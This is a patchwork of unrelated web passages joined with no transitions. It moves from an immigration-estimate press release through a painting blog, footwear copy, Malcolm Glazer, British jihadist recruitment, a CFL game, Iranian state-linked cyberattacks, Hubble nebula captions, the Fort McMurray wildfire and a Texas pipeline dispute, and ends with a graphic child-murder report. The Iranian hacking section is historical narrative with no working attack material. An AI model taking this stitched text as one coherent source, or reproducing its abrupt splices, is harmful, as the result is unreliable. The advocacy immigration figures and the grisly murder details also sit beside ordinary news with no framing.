Four experts who contributed to the 45-page study explained their findings that illegal aliens in the U.S. total at least 20 million, but perhaps as many as 38 million or more -- which far exceeds 8 to 12 million estimated by Homeland Security's Office of Immigration Studies new report, "Estimates of the Unauthorized Immigrant Population Residing in the United States, January 2006" (released August 31, 2007, see http://www.dhs.gov/ximgtn/statistics . The new study disputing the government figures was funded by Californians for Population Stabilization (CAPS) (www.capsweb.org) and published by The Social Contract Press (www.thesocialcontract.com).
The new report's contributors and paper titles which were discussed the Washington, D.C. News were:
"How Many Foreign Nationals Actually Live in the U.S. Illegally?" -- Diana Hull, Ph.D., behavioral scientist and President of Californians for Population Stabilization (CAPS).
"Illegal Aliens: Counting the Uncountable" -- James Walsh, J.D., former Associate General Counsel of the Immigration and Naturalization Service (INS).
"Spiraling Backwards: The Fiscal Impact of Illegal Immigration in California, Revisited" -- Philip Romero, Ph.D., professor of Business Administration at the University of Oregon who previously was Economic Advisor to former California Governor Pete Wilson.
"How Many Illegal Aliens are in the U.S.? An Alternative Methodology to Discovering the Numbers" -- Fred Elbel, computer specialist from Colorado who is an expert in methodologies and data analysis
Wayne Lutton, Ph.D., editor of The Social Contract, was the moderator.
"There is good reason to believe that instead of 8 to12 million illegal aliens living in the United States, there may actually be 20 to 30 million or more," Diana Hull, President of CAPS, writes in her paper, "How Many Foreign Nationals Actually Live in the U.S. Illegally?" "Getting those numbers right was crucial, but ignored, during the recent Senate debate. There is no matter more critical for our population future than ascertaining the actual scale of this problem," she writes.
James Walsh, former associate general counsel to the INS, says in his paper, "Illegal Aliens: Counting the Uncountable," that: "No exact head count exists for the ghost population of illegal aliens. ...Guessing the number is like playing the lottery." None of the government "experts" "has a clue as to the exact number," he says, "but this does not keep them from crafting estimates to fit their own agenda. ...My estimate of 38 million illegal aliens residing in the United States is calculated using a conservative annual rate of entry (allowing for deaths and returns to their homeland) of three illegal aliens entering the United States for each one apprehended," he explains. His article further details his methodology and experiences at the INS.
Philip Romero, former economic advisor to Gov. Pete Wilson of California, says in his paper, "Spiraling Backwards: The Fiscal Impact of Illegal Immigration in California, Revisited" that "the average illegal immigrant receives eight to twelve dollars in services for every dollar they pay in taxes, roughly twice the disparity found in 1994... Illegal immigrants impose a 'tax' on legal Californian residents in the tens of billions of dollars. Their costs, net of taxes, consume about 20 percent of the entire state budget, crowding out vital services or lower taxes for legal residents."
In his paper, "How Many Illegal Aliens are in the U.S.? An Alternative Methodology to Discovering the Numbers," Fred Elbel includes five tables and many statistics to explain his methodology to arrive at a reasonable figure of illegals. "Official estimates are somewhat suspect and may represent significant undercounts, as they are produced by the very entity responsible for the tidal wave of illegal aliens entering our nation," Mr. Elbel explains. "Based on [my] analysis...it is likely that up to 20 million illegal aliens presently reside in the United States, with up to 12,000 additional illegal aliens entering every day."
But guys… this project is a big deal for me. A big deal. This is the first actual digital painting I’ve ever done, where I used different brushes to achieve different textures. I painted every brick on that lighthouse by hand. The background is all me. Sure, I downloaded some new Photoshop brushes and learned a new trick or two, but I didn’t cheat and use a photo background. And when things didn’t look right, I used shading to fix them. I am ridiculously proud of the effort that went into this piece. (Also, it took me over a week, off and on.)
It’s always a smart idea to invest in high-quality footwear that’s made to last. Shoes get the most wear and tear of all clothing items, and they have an important job to do—to protect your feet! While comfortable, foot-friendly shoes that are made with the most durable materials can mean a higher price tag, they help you hoof it through the elements season after season, saving you money in the long run. Some great winter shoe brands to invest in include Sorel, Hunter, Pajar and Timberland.
Taking measures to extend their life further is easy, resourceful, and saves you even more money.
Walking on a Cloud
Glazer was born on May 25, 1928 in Rochester, New York. The 83 year-old has a net worth of $2.7 Billion. Glazer is extremely unpopular in Manchester, and has been since he bought out the English shareholders for the Premier League team between 2003-2005. Since then, ticket prices have increased over 42%. Due to all this, Glazer is thought of as a businessman first, and sportsman second, and was accused of not spending enough money on the team. At Old Trafford you still hear many chants of hatred and banners posted in disgust in Malcolm Glazer.
This is certainly not the first time that wide spread rumors of a celebrity death have fooled many on twitter, and it certainly won’t be the last.
Britain is producing a new kind of terrorist. Those who left its shores to fight for the Taliban in Afghanistan after September 11th 2001 were overwhelmingly male, mostly 25-35 and motivated by fellow-feeling for Muslim civilians killed abroad, according to Hanif Qadir, who runs an anti-radicalisation youth programme in east London. Many did “humanitarian” work, away from the front lines.
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Since then, and especially in the past seven months, the typical age of the British jihadist has dropped, to around 14-25. Women make up about 10% of the group. Some are white, some previously Christian or atheist. And the class of 2012-15 is more troubled—mental-health problems and criminal records are common—as well as less devout than previous generations. A pair of 22-year-olds from Birmingham bought a copy of “The Koran for Dummies” before leaving Britain to fight for IS last year (they were arrested on their return after failing to delete jihadist snaps from their camera).
The demographic change is a result of IS’s powerful brand, which appeals to those looking for something big to do with their lives, says Alyas Karmani, a Bradford imam. Britain’s 3m Muslims are not overwhelmed by opportunities: 46% of them live in the most deprived 10% of local authorities in England.
The internet makes it easier than ever for recruiters to seek out the most vulnerable (see article). Al Qaeda is said to have tried to hack into American mental-health records to find potential recruits. In 2015, IS can address them directly via social media. Twitter hashtags and YouTube clips edited into Hollywood-style sequences spread its message to second-generation immigrants who feel more westernised than the square elders in the mosque, but not westernised enough to integrate fully. Mr Karmani suggests that for some, jihad may have “something to do with sexual frustration. Maybe guns are penis extensions.”
Alarms and siren songs
Once a person is persuaded by IS’s rhetoric, violence is only a short step away, says Haras Rafiq, head of the Quilliam Foundation, a think-tank. “Put me in a room with ten Islamists and I could turn one of them into a terrorist,” he says.
Soon after being returned to office in May, David Cameron announced plans to stop the spread of this ideology. Proposed new “extremism disruption orders” would allow the government to restrict the activities of people and organisations deemed to be “promoting hatred”, loosely defined. On June 19th the prime minister said he would impose tighter restrictions on foreign broadcasters, using the speech to frame extremist rhetoric as a “gateway” to terrorism.
The approach faces a problem of definition. In his speech Mr Cameron condemned as “extreme” a sweep of unpleasant practices that had little to do with blowing things up, including forced marriage, female genital mutilation and the oppression of women in general. “No more turning a blind eye on the false basis of cultural sensitivities,” he vowed.
Critics said this was confusingly broad. A particular worry, says Mr Qadir, is that the approach will alienate conservative Muslims, who may not be too hot on gender equality but are useful allies in dissuading would-be jihadists. A plan to prosecute universities if they allow extremist speakers on campus drew predictable complaints from lecturers—but also from Eliza Manningham-Buller, a former head of MI5, the domestic security service, who worried that it could drive non-violent extremists towards more sinister groups.
A second idea is to encourage the public—and especially, it is implied, moderate Muslims—to challenge extremist rhetoric. This is harder than it sounds. Many discussions on the merits of jihad take place not in public but in the online echo-chamber. And it may be that Mr Cameron’s desire to combine vigorous public debate with the outright banning of certain types of message is liable to be misunderstood. A few days after his speech, “Homegrown”, a play exploring young Britons’ motives for joining IS, was cancelled, amid talk of pressure from local authorities. (The director blamed a “landscape of fear”; the theatre that was due to stage the play says it just wasn’t very good.) Mr Cameron has dubbed his strategy a “battle of ideas”; some see it as a battle against them.
A third approach is to seek out those who are susceptible to IS’s siren song and attempt to steer them away. “Prevent”, a counter-terrorism initiative set up by the Labour government in 2007, requires schools to identify vulnerable pupils. It doesn’t always work: Mr Karmani recalls a sixth-former who dropped out of school after being “deemed an extremist” by his teachers (he had simply expressed disagreement with British foreign policy, Mr Karmani says).
Charlie Edwards of the Royal United Services Institute, a think-tank, says that potential jihadists are too varied a bunch to be easily identified by particular risk factors. But he argues that such analysis may be helpful in tracking where violence may come from next. Communities that produce terrorists tend to be less integrated. One idea floated by Mr Cameron is to tinker with the way social housing is allocated, to prevent segregation. It might be simpler to stop state-funded schools from selecting pupils on the basis of religion, which he has no plans to do.
"I think we’re the best defence in the league," said cornerback Jonathan Hefney after Montreal beat the Hamilton Tiger-Cats 26-23 Thursday night — handing them their first-ever loss at Tim Hortons Field.
The Alouettes defence recorded six sacks, one interception and two fumble recoveries while holding the league’s hottest offence to just 23 points. It snapped Hamilton’s win streak at five games — a streak in which the Ticats had scored at least 30 points in each of those games. It was their first home loss in 11 games since the new stadium opened last year.
Montreal’s Kyries Hebert intercepted Zach Collaros at the Als’ 30-yard line with 30 seconds left to seal the victory.
"We’re going to go out there and perform that way every week," said Hefney, who had two tackles. "We’re going out there to try and make plays and it just happened that we made enough plays today to go out there and get a win. I don’t take anything from that team. They’re a great team… We know it’s a challenge but we want to win that challenge every week."
Backup quarterback Tanner Marsh led the Alouettes after Rakeem Cato went down in the second quarter with a hip pointer. Cato was injured on a sack by Eric Norwood and finished the game 4-of-7 passing for 115 yards and one touchdown.
Marsh completed 11-of-18 pass attempts for 99 yards and one interception, while adding a rushing TD.
"It felt amazing being out there," said Marsh. "Just helping this team whenever I can. I’m too excited to even express my feelings right now. It was an awesome win, a huge team win. The defence came up huge right there. The team stuck with me. It was awesome."
Montreal (4-5) spoiled the party on a night where the crowd celebrated the career of legendary Tiger-Cats defensive lineman Angelo Mosca, who had his No. 68 retired. The win is also the Als’ second over Hamilton (6-3) — guaranteeing them the season series.
Luke Tasker and Jeff Mathews scored touchdowns for the Tiger-Cats. Brandon Rutley also scored for Montreal.
Collaros completed 20-of-27 pass attempts for 293 yards, one TD and one interception.
"If you don’t come ready to play, you’re going to get beat," said Collaros. "We didn’t play well in all three phases of the game."
Montreal kicker Boris Bede was good on three of four field-goal attempts, hitting from 31, 23 and 28 yards and missing from 45. His 28-yarder gave the Alouettes the lead with 1:10 left.
Hamilton kicker Justin Medlock hit all three field-goal attempts, from 37, 49 and 48 yards.
It was Montreal’s first game with Jim Popp as head coach after firing Tom Higgins following a win last week against B.C. He said they stuck with the game plan, even after Cato went down.
"We did what we had to do," he said. "We finished strong and made plays down the stretch."
The last team to beat the Ticats was Montreal on July 16.
Hamilton looked unsteady on both sides of the ball all game. They finally put a scoring drive together with 10 minutes left to tie the game 23-23, finishing a 72-yard eight-play drive with a two-yard TD rush by backup quarterback Jeff Mathews.
Montreal marched back downfield eating up 5:52 on the clock with a 72-yard 12-play drive, including converting a third-and-one on the Hamilton 39.
Like Russia and China, the history of Iran’s cyberspace operations begins with its hackers. But unlike these other countries, Iran openly encourages its hackers to launch cyberattacks against its enemies. The government not only recruits hackers into its cyberforces but supports their independent operations.
Putting Iranian hackers on the map
It was clear by the mid-2000s that Iran would become a source of cyberattacks: Its hackers had started taking over websites worldwide and posting their own messages on them, a practice called “defacing.” Often it was just for fun, but some hackers wanted to stand up for their country and Muslims. One prominent group, Iran Hackers Sabotage, launched in 2004 “with the aim of showing the world that Iranian hackers have something to say in the worldwide security.”
The group’s website announced that it provided vulnerability testing and secure hosting services, but it was also known for web defacements. In 2005, the group replaced the U.S. Naval Station Guantanamo home page with one defending Muslims and condemning terrorists. Another of its defacements proclaimed “Atomic energy is our right.” By early 2008, the Zone-H defacement archive listed 3,763 web defacements for the group. The group has since disbanded.
Another prominent group, Ashiyane Digital Security Team, ran a website that offered free hacking tools and tutorials. The site claimed to have 11,503 members in May 2006. Like Iran Hackers Sabotage, Ashiyane provided security services while using its members’ knowledge and skills to deface websites. Their defacements frequently included a map of Iran with a reminder that “The correct name is Persian Gulf” for what some Arab states have called the “Arabian Gulf.”
Ashiyane defaced 500 websites in 2009 during the Israeli incursion into Gaza and 1,000 sites in the U.S., U.K. and France in 2010 for supporting what the group said were anti-Iranian terrorist groups. By May 2011, Zone-H had recorded 23,532 defacements by the group. Its leader, Behrouz Kamalian, said his group cooperated with the Iranian military, but operated independently and spontaneously.
A third group, the Iranian Cyber Army, launched a few years later. It has been implicated in several website attacks, including one against Twitter in 2009 that proclaimed support for Iran’s Supreme Leader Ali Khamenei. Other attack targets were the Voice of America in 2011 after the U.S. supported Iran’s Green movement, and regime opposition websites in 2013 just before the presidential election.
Iran’s cyber military
The Iranian Cyber Army is said by some cybersecurity researchers to operate on behalf of Iran’s Islamic Revolutionary Guard Corps, a branch of the country’s military. The Revolutionary Guards runs a cyber warfare program that in 2008 was estimated to employ about 2,400 professionals. In addition, it connects with independent hacker groups such as Ashiyane and the ICA.
The Revolutionary Guards also command Iran’s voluntary paramilitary militia, known as the Basij Resistance Force. In 2010, the Basij established the Basij Cyber Council, but it focuses more on media and influence operations than on cyberattacks.
Turning to sabotage
By 2012, Iranian cyberattacks had gone beyond simple web defacements and hijacks to ones that destroyed data and shut down access to critical websites. The attackers conceal their government connections by hiding behind monikers that resemble those used by independent hacktivists fighting for justice and human rights.
One such group called itself the Cutting Sword of Justice. In 2012, it launched cyberattacks against the Saudi Aramco oil company, claiming to protest Saudi oppression and corruption financed by oil. The attacks used “wiper” code that overwrote data on hard drives and spread through the company’s network via a virus dubbed Shamoon. More than 30,000 computers were rendered inoperable at Saudi Aramco and Qatar’s RasGas, which was also targeted. U.S. intelligence officials blamed Iran for the attacks.
Iran has deployed wiper malware in other acts of sabotage, most notably the 2014 attack against the Las Vegas Sands Corporation. The attack was thought to be a response to remarks made by Sheldon Adelson, the company’s largest shareholder. Adelson suggested setting off a bomb in an Iranian desert to persuade the country to abandon nuclear weapons. And in 2016, the Shamoon malware resurfaced, wiping data from thousands of computers in Saudi Arabia’s civil aviation agency and other organizations.
Iranian hackers operating on behalf of the government have also conducted massive distributed denial-of-service attacks, which flood sites with so much traffic that they become inaccessible. From 2012 to 2013, a group calling itself the Cyber Fighters of Izz ad-Din al-Qassam launched a series of relentless distributed denial-of-service attacks against major U.S. banks. The attackers claimed the banks were “properties of American-Zionist Capitalists.”
In 2016 the U.S. indicted seven Iranian hackers in absentia for working on behalf of the Revolutionary Guards to conduct those bank attacks, which were said to have caused tens of millions of dollars in losses. The motivation may have been retaliation for economic sanctions that had been imposed on Iran or the Stuxnet cyberattack on Iran’s centrifuges.
One of the seven indictments was of a man who allegedly obtained access to the computer control system for the Bowman Avenue Dam in New York state. The access would have allowed the intruder to “operate and manipulate” one of the dam’s gates had it not been offline for maintenance.
Iran also engages in cyberespionage. One group, which cybersecurity research firm FireEye named Advanced Persistent Threat 33, has invaded computers around the world, with targets in the petrochemical, defense and aviation industries. The group uses code linked to Iran’s wiper malware, possibly in preparation for more destructive attacks. Another group, called Advanced Persistent Threat 34, has been active since at least 2014, targeting companies in the financial, energy, telecom and chemical industries.
Foreign assistance
Iran may be beefing up its cyberwarfare capabilities with the help of foreigners.
According to former Congressman Peter Hoekstra, who chaired the House’s Permanent Select Committee on Intelligence, Iran’s rapid emergence as a major cyberthreat likely stems from its close ties to Russia. Matthew McInnis, a resident fellow at the American Enterprise Institute, believes Iran turned to Russia to level the cyberwarfare battlefield with the U.S. and the West.
Iran may also be looking to Mexico for cyberwarfare support. According to a documentary aired on the Univision television network in 2011, a former Iranian ambassador to Mexico accepted a plan from undercover Mexican students to launch crippling cyberattacks against the U.S. The targets included the White House, the CIA, the FBI and nuclear installations. The documentary also shows Venezuelan and Cuban officials in Mexico expressing interest in the plot.
Strengthening its cyberwarfare program
Iran may view cyberwarfare as a means of overcoming its military disadvantage compared to the U.S. To that end, it will likely continue to improve its cyber capabilities.
Nothing lives forever, not even the stars. Our Sun, like all true stars, thrives on nuclear fusion in its core.
A star reaching the end of its life goes from fusing nuclei to blowing off its outer layers and contracting down. Image credit: NASA, ESA, and A. Zijlstra (The University of Manchester); Acknowledgment: J. Barrington (Hubble’s Hidden Treasures Competition).
At millions of degrees, it converts hydrogen into helium, and will later heat up further, fusing helium into carbon.
The gaseous outer layers of a Sun-like star glow in space after being expelled as the star reached the end of its life.
Image credit: NASA, ESA, and the Hubble Heritage Team (STScI/AURA).
Like most stars, it will never get hot enough to go supernova. When it runs out of fuel, it will contract into a white dwarf, blowing off its outer layers, forming a planetary nebula.
The planetary nebula NGC 6369’s blue-green ring marks the location where energetic ultraviolet light has stripped electrons from oxygen atoms in the gas. Image credit: NASA and The Hubble Heritage Team (STScI/AURA).
This example of cosmic recycling will send both hydrogen and heavier elements back into the interstellar medium.
Planetary Nebula M2–9, from the Hubble Space Telescope. Image credit: Bruce Balick (University of Washington), Vincent Icke (Leiden University, The Netherlands), Garrelt Mellema (Stockholm University), and NASA/ESA.
Stars up to 800% the mass of the Sun will achieve this fate, with planetary nebulae taking on a variety of morphologies.
Four individual planetary nebulae — He 2–47, NGC 5315, IC 4593, and NGC 5307 — were imaged by Hubble in February of 2007. Image credit: NASA, ESA, and The Hubble Heritage Team (STScI/AURA).
Single stars may blow off their outer layers spherically, like 20% of planetary nebulae.
The Eight Burst Nebula, NGC 3132, is not well-understood in terms of its shape or formation. The different colors in this image represent different temperatures. Image credit: The Hubble Heritage Team (STScI/AURA/NASA).
Stars with binary companions may produce spirals or other asymmetrical shapes.
The intricate, layered, asymmetrical shape of a planetary nebula like the Cat’s Eye Nebula suggests a binary companion. Image credit: NASA, ESA, HEIC, and The Hubble Heritage Team (STScI/AURA); Acknowledgment: R. Corradi (Isaac Newton Group of Telescopes, Spain) and Z. Tsvetanov (NASA).
Most commonly, bipolar nebulae may originate from rapidly rotating stars.
Nitrogen, hydrogen and oxygen are highlighted in the planetary nebula above, known as the Hourglass Nebula for its distinctive shape. Image credit: NASA/HST/WFPC2 R Sahai and J Trauger (JPL).
The most spectacular images of this natural phenomenon come from Hubble, which assigns different colors to individual elements, temperatures or spectral features.
The Ant Nebula, also known as Menzel 3. Image credit: NASA, ESA & the Hubble Heritage Team (STScI/AURA); Acknowledgment: R. Sahai (Jet Propulsion Lab), B. Balick (University of Washington).
That was the grim news delivered Thursday evening by Alberta Premier Rachel Notley, who warned residents it will take many days before their city is safe to live in again.
Notley refused to speculate about how long the wait might be.
"Unfortunately, we do know that it won't be a matter of days," she said.
May 5 - 10:50 p.m. A brief message from Darby Allen <a href="https://twitter.com/hashtag/ymmfire?src=hash">#ymmfire</a> <a href="https://t.co/0hb9TkoYwH">pic.twitter.com/0hb9TkoYwH</a> —@RMWoodBuffalo
With thousands of people now staying in evacuation centres, or with friends or relatives, the government is working on a plan to find "transitional housing" for families who lost everything when the wildfire swept away entire streets.
On Thursday, about 4,000 evacuees stranded north of Fort McMurray were flown to Calgary or Edmonton from runways at two oilsands camps, where many have been staying.
Wildfire Update – May 5, 9:20 p.m. <a href="https://twitter.com/hashtag/ymmfire?src=hash">#ymmfire</a> <a href="https://t.co/K59ZlElo0v">pic.twitter.com/K59ZlElo0v</a> —@RMWoodBuffalo
On Friday morning, other residents are expected to be allowed to drive in RCMP-led convoys down Highway 63 and straight through their city, past the ruins of neighbourhoods where more than 1,600 homes and buildings have burned.
Once safely south of the city, the cars and trucks will head south toward evacuation centres or other accommodations.
Fire officials do not yet know what started this massive wildfire, but said Thursday they now know the only force powerful enough to stop it will be a significant change in the weather.
'We still have a long way to go'
Supercharged by winds, the wildfire ballooned from 10,000 hectares on Wednesday evening to about 85,000 hectares by dawn Thursday.
By day's end Thursday, the fire's progress had slowed significantly, and officials continued to estimate its size at 85,000 hectares.
Michael McWilliams captured footage of the wildfire closing in on May 5 4:06
"We're not out of the woods yet," said senior wildfire manager Chad Morrison. "We still have a long way to go."
The main body of the fire, now south of the city, is expected to continue to burn out of control, perhaps for many days to come.
More than 100 firefighters and 10 helicopters and 16 air tankers continue to fight the wildfire, with more resources on the way.
In addition to the firefighters battling the blaze, more than 200 firefighters and 25 fire trucks are in the city itself, protecting homes and buildings.
But Morrison cautioned that all of that effort and equipment cannot stop the inferno.
"Let me be clear, air tankers are not going to stop this fire," Morrison said earlier in the day. "This is an extreme fire event. It's going to continue to push through these dry conditions until we actually get some significant rain to help us.
Ellyse Naughton, left, holds her toy robotic dog as her mother Erin looks at her phone as they camp at the Christina Lake campground in Conklin, Alta., on Thursday. People are being urged to stay out of Fort McMurray as crews continue to fight fires. (Mark Blinch/Reuters )
"I expect this fire to continue to grow over the next number of days."
Thursday was much cooler than previous days, with a high of about 17 C, but winds continued to blow out the northwest, at times up to 40 km/h.
'Extreme threat' in Anzac and Gregoire Lake Estates
"We expect the fire to continue to grow in the southeast corner," Morrison said, "but it will be going away from the community."
"It's been brutal." Marisa Heath has been at the North <a href="https://twitter.com/hashtag/FortMacFire?src=hash">#FortMacFire</a> roadblock since 8 pm Wed. <a href="https://t.co/izyDlukhdl">pic.twitter.com/izyDlukhdl</a> —@warnicam
At 5:15 p.m. MT, the Regional Municipality of Wood Buffalo reported that the communities of Anzac and Gregoire Lake Estates, south of the city, were under "extreme threat" from walls of flames.
Fire crews on the ground expect to receive reinforcements soon from other parts of Canada. Ontario is sending 100 firefighters and Quebec has dispatched four air tankers.
The fire, which covers more than 850 square kilometres (an area the size of Calgary), is so big it has created its own weather, with reports of lightning coming from the billowing clouds of smoke, Morrison said earlier in the day.
Though it is huge and still growing, the Fort McMurray fire is, so far, nowhere near the largest wildfire ever ignited in Alberta. That distinction belongs to the Richardson Backcountry Fire, which burned more than 700,000 hectares of boreal forest northwest of Fort McMurray in 2011.
But in the end, that fire, though it burned for months, took not a single home or building.
Thorny mesquite branches scratched the sides of James Spriggs’ battered old Chevrolet truck as he drove the rutted pathway from his house towards other, less natural, spiky objects.
On his 4,400-acre ranch there are deer, quail, jackrabbits, roadrunners, dragonflies and even the occasional eagle or mountain lion. And there are wooden stakes indicating the route of a natural gas pipeline that will slice through his property against his wishes.
“They stand out, kind of out of the ordinary, when the light’s correct on them,” he said, picking up a stake that lay flat beneath a small tree. Since their discovery, Spriggs and others have made it their mission to protest a proposal that would be routine almost anywhere else in the state.
Many moved to Big Bend because it is spiritually and physically unlike much of the rest of Texas, which long ago kowtowed to the boom-and-bust thrust of Big Oil, with all its possibilities and problems.
Some 426,000 miles of pipelines already crisscross Texas, acting as the cardiovascular system of the state’s thriving economy. Only one large area is untouched, but that is about to change – unless a diverse group of citizens can prevail in an underdog fight against billionaires, anemic regulators and new economic realities.
Facebook Twitter Pinterest The Big Bend Conservation Alliance is one of the group’s leading the resistance against the planned gas pipeline. Photograph: Tom Dart
While national attention has focused on the Keystone XL pipeline, which would run from Canada to the Gulf coast, activists in this remote region have mobilised to battle a planned development 600 miles west of Houston that is routed through some of the state’s most spectacular scenery.
Here, remoteness lends a sense of timelessness. The nearest commercial airport is a three-hour drive. Fewer than 10,000 people live in Brewster County, which is far bigger than the Los Angeles metropolitan area, and almost all of them in the town of Alpine. If you have seen the final moments of the 2014 film Boyhood, you know what the mountainous Chihuahuan desert landscape looks like. The best-known place is Marfa, the improbable artsy enclave beloved of New York feature writers.
Spriggs’ ranch is south of Marfa near a US border patrol checkpoint. He is a mild-mannered man in a tough environment. “I keep a shovel handy. Shovel is the main weapon against rattlesnakes,” the 69-year-old widower said. He wore a checkered shirt, a wide-brimmed hat and jeans with a leather Lone Star cellphone holder fixed to his belt.
Spriggs has a tendency for understatement. Like the time in 2011 when he was gored by a raging bull: “He explained to me he wasn’t happy.” As for the pipeline: “It doesn’t necessarily come out and bite you right off the bat - it takes time for it to sink in, what it all could mean,” he said. “When they say it’s the last frontier – it’s awful close to that for the US.”
Marfa and Alpine are in the path of the most direct route between Presidio, the only major legal border crossing point for hundreds of miles in either direction, and the oil-patch cities of Midland and Odessa, a three-hour drive north.
‘We have the ability to use eminent domain’
The oil industry may be squirming because of the low price of crude, but natural gas pipelines are sprouting as a response to soaring demand in Mexico and legal changes there in 2014 that make it easier for foreign exporters to sell the fruits of the Texas fracking boom. Mexico sees American gas as a cheap way of generating electricity that will also help it cut emissions as it modifies oil-burning power plants to run on gas.
The Trans-Pecos pipeline is a partnership between companies controlled by billionaires: Mexico’s Carlos Slim, reportedly the world’s second-richest man, and Kelcy Warren, head of Dallas-based Energy Transfer Partners, which in February welcomed former Texas governor and failed Republican presidential hopeful Rick Perry to its board of directors.
They hope that construction will start in the first quarter of next year and in 2017 the 42-inch pipeline will transport 1.4bn cubic feet of natural gas per day from a processing plant near Fort Stockton to the border, where the line will go under the Rio Grande and connect with Mexican infrastructure.
Spriggs said that surveyors came to his ranch without permission and that on another occasion he was curtly informed that if he would not grant access, they would ultimately compel it anyway.
“They just said ‘we want to cross two parcels of land, sign this and send it back. We have the ability to use eminent domain.’ That was real short. Wasn’t sweet at all, but it was real short,” he said.
Vicki Granado, an Energy Transfer spokesperson, said that going on Spriggs’ land was a mistake after a neighbour’s property was surveyed. “Due to further research of unclear county records regarding an old property transaction that shifted property lines, it was determined that some of the land surveyed was in fact owned by Mr Spriggs,” she said. “We never re-entered the property after the second survey to remove the stakes. There was never any intention to survey land on which we did not have permission.”
Eminent domain is the ability of the state to take private property for public use, which can come into play when pipeline companies say they are “common carriers” who will make their product available to others. “When it’s a private party looking to make a few more dollars, it’s kind of questionable as far as I can tell,” Spriggs said.
Sitting at a picnic table high in the Davis mountains, Coyne Gibson agreed. “If I wanted to cut your hair, I would have to have a license from the state of Texas and a permit. But If I want to build a 42-inch high-pressure natural gas pipeline, 143 miles long, I don’t need one,” he said.
Facebook Twitter Pinterest Coyne Gibson: ‘I think they honestly thought that we were all a bunch of dumb hicks and that nobody would notice and it would just get done like all their other projects. I can pretty much assure you that they had no idea they would meet this kind of opposition here.’ Photograph: Tom Dart
Since March this year, a sworn promise and supporting documents are enough to satisfy the state oil and gas regulator, the Texas Railroad Commission. Energy Transfer applied in February, when the requirement to claim common-carrier status was even less stringent: checking a box on a one-page form which the commission would take at face value. Under a new rule, a company’s failure to comply with reporting requirements may result in a $1,000 fine – four times less than the possible penalty under Texas law for adults who give alcohol to minors.
Disputes are left to the courts. According to the commission’s website: “In Texas, pipelines are not required to be permitted before being built. There is no statutory or regulatory requirement that a pipeline operator seek or receive from the Railroad Commission either a determination that there is a need for the pipeline capacity or prior approval to construct a pipeline and related facilities. Additionally, the Railroad Commission does not determine or confer common carrier status for pipelines.”
Nor under Texas regulations is there a minimum distance that a gas pipeline must be built from a property. All this worries Gibson, an engineer who lives and works at the McDonald Observatory. Reached by a twisty, hill-hugging road, telescopes housed in futuristic-looking domes use the area’s dark skies to explore the universe.
Earlier this year, Gibson directed his gaze from the stars to the ground.
“I began to be concerned about what was going to be the impact on the region and started doing some research on my own,” he said, speaking in a personal capacity as a member of the Big Bend Conservation Alliance, one of the groups leading the resistance to the pipeline.
“I think they honestly thought that we were all a bunch of dumb hicks and that nobody would notice and it would just get done like all their other projects. I can pretty much assure you that they had no idea they would meet this kind of opposition here,” he said.
Gibson is hardly a stereotypical tree-hugger: in the 1980s he worked for an oil and gas infrastructure company. “I’ve seen firsthand with my own hand what these kinds of projects do to the environment they pass through. There’s a short-term impact related to the construction and a longer term set of impacts related to their operation that just really, frankly aren’t appropriate for this region,” he said.
“If you traverse this region like I have, you see that it’s largely pristine and intact, the development that’s out here is largely compatible with what this region can sustain … I’m not opposed to oil and gas, don’t get me wrong. It’s a question of routing. There are other places to take this thing. If it really is that imperative economically or otherwise to get that gas to Mexico, just go a different way. Avoid this region.”
There is support in the low-income, pragmatic border town of Presidio among those who hope it will provide economic benefits. But anti-pipeline campaigners question whether a pipeline built for Mexico will help ordinary Texans in the long run. Then there are the environmental anxieties.
The pipeline will be underground and Granado said that Energy Transfer does “not anticipate any environmental impact in the long term”. But locals fear that as well as creating short-term disruption, it will irreparably scar the fragile ground, use millions of gallons of water in a drought-hit region and risk lives because the small-scale emergency services would be overwhelmed by a disaster such as a wildfire.
Accidents happen. In June, an Energy Transfer pipeline about 90 miles from San Antonio ruptured and exploded for unknown reasons in what one witness called a “huge ball of fire”.
Last best hope
Despite political efforts to forge closer economic ties, a 2010 joint statement from President Obama and his former Mexican counterpart, Felipe Calderon, said they supported attempts to preserve and protect the Big Bend region, which they called “one of the largest and most significant ecological complexes in North America”.
Opponents’ best hope for delaying or stopping the pipeline may now rest with the federal government, which is responsible for regulating the 1,093ft stretch that crosses the border. Even though almost all the gas is destined for Mexico, the pipeline is classified as “intrastate”, with all but that tiny distance coming under state jurisdiction as a result. After it received hundreds of public comments, this month the Federal Energy Regulatory Commission asked the pipeline company for more details about the possible environmental impacts.
Suzanne Bailey knows exactly when it started affecting her: 29 March, when trucks from one of the project’s contractors started rolling into an empty plot of land behind her house near the intended pipeline route in Alpine.
Facebook Twitter Pinterest Suzanne Bailey: ‘They are exempt from an awful lot of the regulations that the rest of us have to live with,” she said. “They always say [the industrial impact] “smells and sounds like money to me”. But people come here to get away from that.’ Photograph: Tom Dart
“It was on my radar but it had not gotten close enough, or hadn’t gotten the attention to spur me to activity,” the retiree said, sitting in her living room as a digger churned earth a few feet from her kitchen, seemingly preparing the ground for offices or equipment storage. “I got busy once this happened.” One day, she said, the industrial activity “shook this house so hard I thought it might fall down. Frankly I thought I might lose my mind”.
As well as the noise, she is worried about water usage, safety, land damage and the state’s supine attitude towards the energy industry. “They are exempt from an awful lot of the regulations that the rest of us have to live with,” she said. “They always say [the industrial impact] ‘smells and sounds like money to me’. But people come here to get away from that.”
Jeremiah Lee Wright, 30, of Thibodaux has confessed to killing Jori Lirette, Police Chief Scott Silverii said. He said Wright was booked with first-degree murder and was held Monday in lieu of $5 million bond.
Silverii's spokesman, Detective Ricky Ross, said he does not believe Wright has an attorney.
Silverii said the motive was unclear, though Wright told police "that he'd gotten to the point where he was tired of taking care" of the boy, who had cerebral palsy and heart problems, needed a feeding tube and was in a wheelchair.
"He said when he put his head out by the side of the road it was so the mother would see it when she came by," Silverii said. He said Wright's only explanation for doing so was "just that he wanted her to feel stupid when she saw the head."
The police chief said Jori's feet and one hand also were cut off, recovered with the body in several white plastic garbage bags.
Police had been called to the house last month when the couple had an argument - possibly about money - though neither person brought charges, Ross said. The police chief said Wright had been arrested a few times previously, though he was never charged with violent crimes. Wright served 10 days for theft in 2005.
Silverii said friends had taken the child's mother, Jesslyn Lirette, 27, to try to fix her broken-down car on Sunday. Lirette - who lived with Wright but was not married to him - returned to a home blocked with police tape.
When she identified herself, Silverii had Ross, who had been her minister for 12 years and remains a lay pastor, and a captain tell her what had happened to her son, a second-grade student at South Thibodaux Elementary School.
"These are experienced men. They came out of there in tears. Just absolutely in tears," Silverii said.
Grief counselors from the Lafourche Parish Sheriff's Office also spent time with her, he said.
